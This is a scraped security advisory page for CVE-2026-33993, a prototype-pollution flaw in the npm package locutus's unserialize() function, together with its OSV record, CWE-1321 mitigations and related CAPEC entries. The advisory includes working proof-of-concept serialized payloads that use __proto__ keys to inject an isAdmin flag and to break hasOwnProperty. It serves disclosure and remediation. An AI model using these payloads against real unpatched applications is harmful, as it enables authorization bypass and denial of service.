Built-in methods like hasOwnProperty could be disrupted

Tested State After the Fix in `3.0.25`

Dangerous keys are kept as own enumerable properties
The returned object's prototype is not replaced
The regression is covered by test/custom/unserialize-prototype-pollution.vitest.ts

The locutus team is treating this as a real package vulnerability with patched version 3.0.25.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T17:57:39Z",
    "nvd_published_at": "2026-03-27T23:17:14Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript\u0027s `__proto__` setter is invoked, replacing the deserialized object\u0027s prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.\n\nThis is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) \u2014 `unserialize` is a different function with no mitigation applied.\n\n## Details\n\nThe vulnerable code is in two functions within `src/php/var/unserialize.ts`:\n\n**`expectArrayItems()` at line 358:**\n```typescript\n// src/php/var/unserialize.ts:329-366\nfunction expectArrayItems(\n  str: string,\n  expectedItems = 0,\n  cache: CacheFn,\n): [UnserializedObject | UnserializedValue[], number] {\n  // ...\n  const items: UnserializedObject = {}\n  // ...\n  for (let i = 0; i \u003c expectedItems; i++) {\n    key = expectKeyOrIndex(str)\n    // ...\n    item = expectType(str, cache)\n    // ...\n    items[String(key[0])] = item[0]  // line 358 \u2014 no __proto__ filtering\n  }\n  // ...\n}\n```\n\n**`expectObject()` at line 278:**\n```typescript\n// src/php/var/unserialize.ts:246-287\nfunction expectObject(str: string, cache: CacheFn): ParsedResult {\n  // ...\n  const obj: UnserializedObject = {}\n  // ...\n  for (let i = 0; i \u003c propCount; i++) {\n    // ...\n    obj[String(prop[0])] = value[0]  // line 278 \u2014 no __proto__ filtering\n  }\n  // ...\n}\n```\n\nBoth functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript\u0027s `__proto__` setter replaces the object\u0027s prototype rather than creating a regular property. This means:\n\n1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator\n2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()`\n3. They propagate to copies made via `for...in` loops, becoming real own properties\n4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values\n\nNotably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`.\n\nThis is **not** global `Object.prototype` pollution \u2014 only the deserialized object\u0027s prototype is replaced. Other objects in the application are not affected.\n\n## PoC\n\n**Setup:**\n```bash\nnpm install locutus@3.0.24\n```\n\n**Step 1 \u2014 Property injection via array deserialization:**\n```js\nimport { unserialize } from \u0027locutus/php/var/unserialize\u0027;\n\nconst payload = \u0027a:2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst config = unserialize(payload);\n\nconsole.log(config.isAdmin);           // true (injected via prototype)\nconsole.log(Object.keys(config));      // [\u0027name\u0027] \u2014 isAdmin is hidden\nconsole.log(\u0027isAdmin\u0027 in config);      // true \u2014 bypasses \u0027in\u0027 checks\nconsole.log(config.hasOwnProperty(\u0027isAdmin\u0027)); // false \u2014 invisible to hasOwnProperty\n```\n\n**Verified output:**\n```\ntrue\n[ \u0027name\u0027 ]\ntrue\nfalse\n```\n\n**Step 2 \u2014 for...in propagation makes injected properties real:**\n```js\nconst copy = {};\nfor (const k in config) copy[k] = config[k];\nconsole.log(copy.isAdmin);                     // true (now an own property)\nconsole.log(copy.hasOwnProperty(\u0027isAdmin\u0027));    // true\n```\n\n**Verified output:**\n```\ntrue\ntrue\n```\n\n**Step 3 \u2014 Method override denial of service:**\n```js\nconst payload2 = \u0027a:1:{s:9:\"__proto__\";a:1:{s:14:\"hasOwnProperty\";b:1;}}\u0027;\nconst obj = unserialize(payload2);\nobj.hasOwnProperty(\u0027x\u0027);  // TypeError: obj.hasOwnProperty is not a function\n```\n\n**Verified output:**\n```\nTypeError: obj.hasOwnProperty is not a function\n```\n\n**Step 4 \u2014 Object type (stdClass) is also vulnerable:**\n```js\nconst payload3 = \u0027O:8:\"stdClass\":2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst obj2 = unserialize(payload3);\nconsole.log(obj2.isAdmin);       // true\nconsole.log(\u0027isAdmin\u0027 in obj2);  // true\n```\n\n**Step 5 \u2014 Confirm NOT global pollution:**\n```js\nconsole.log(({}).isAdmin);  // undefined \u2014 global Object.prototype is clean\n```\n\n## Impact\n\n- **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if (\u0027role\u0027 in config)` patterns on deserialized data are vulnerable to authorization bypass.\n- **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks.\n- **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object.\n\nThe primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.\n\n## Recommended Fix\n\nFilter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter:\n\n```typescript\nconst DANGEROUS_KEYS = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\n\n// In expectArrayItems (line 358) and expectObject (line 278):\nconst keyStr = String(key[0]); // or String(prop[0]) in expectObject\nif (DANGEROUS_KEYS.has(keyStr)) {\n  Object.defineProperty(items, keyStr, {\n    value: item[0],\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  });\n} else {\n  items[keyStr] = item[0];\n}\n```\n\nAlternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely:\n\n```typescript\n// Replace: const items: UnserializedObject = {}\n// With:\nconst items = Object.create(null) as UnserializedObject;\n```\n\nThe `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value.\n\n\n## Maintainer Reponse\n\nThank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript\u0027s prototype setter semantics.\n\n## Tested Repro Before the Fix\n\n- Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object\n- `Object.keys()` hid the injected key while `\u0027key\u0027 in obj` stayed true\n- Built-in methods like `hasOwnProperty` could be disrupted\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous keys are kept as own enumerable properties\n- The returned object\u0027s prototype is not replaced\n- The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`.",
  "id": "GHSA-4mph-v827-f877",
  "modified": "2026-03-30T20:14:41Z",
  "published": "2026-03-27T17:57:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/pull/597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locutusjs/locutus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list

CWE-1321

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Recommendation

Impact

Fix https://github.com/AmauriC/tarteaucitron.js/commit/74c354c413ee3f82dff97a15a0a43942887c2b5b

Impact

Patches

Workarounds

References

Summary

Details

PoC

Impact

Recommended Fix

Maintainer Reponse

Fix Shipped In

What the Fix Does

Tested Repro Before the Fix

Tested State After the Fix in 3.0.25

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

CAPEC-77: Manipulating User-Controlled Variables

Tested State After the Fix in `3.0.25`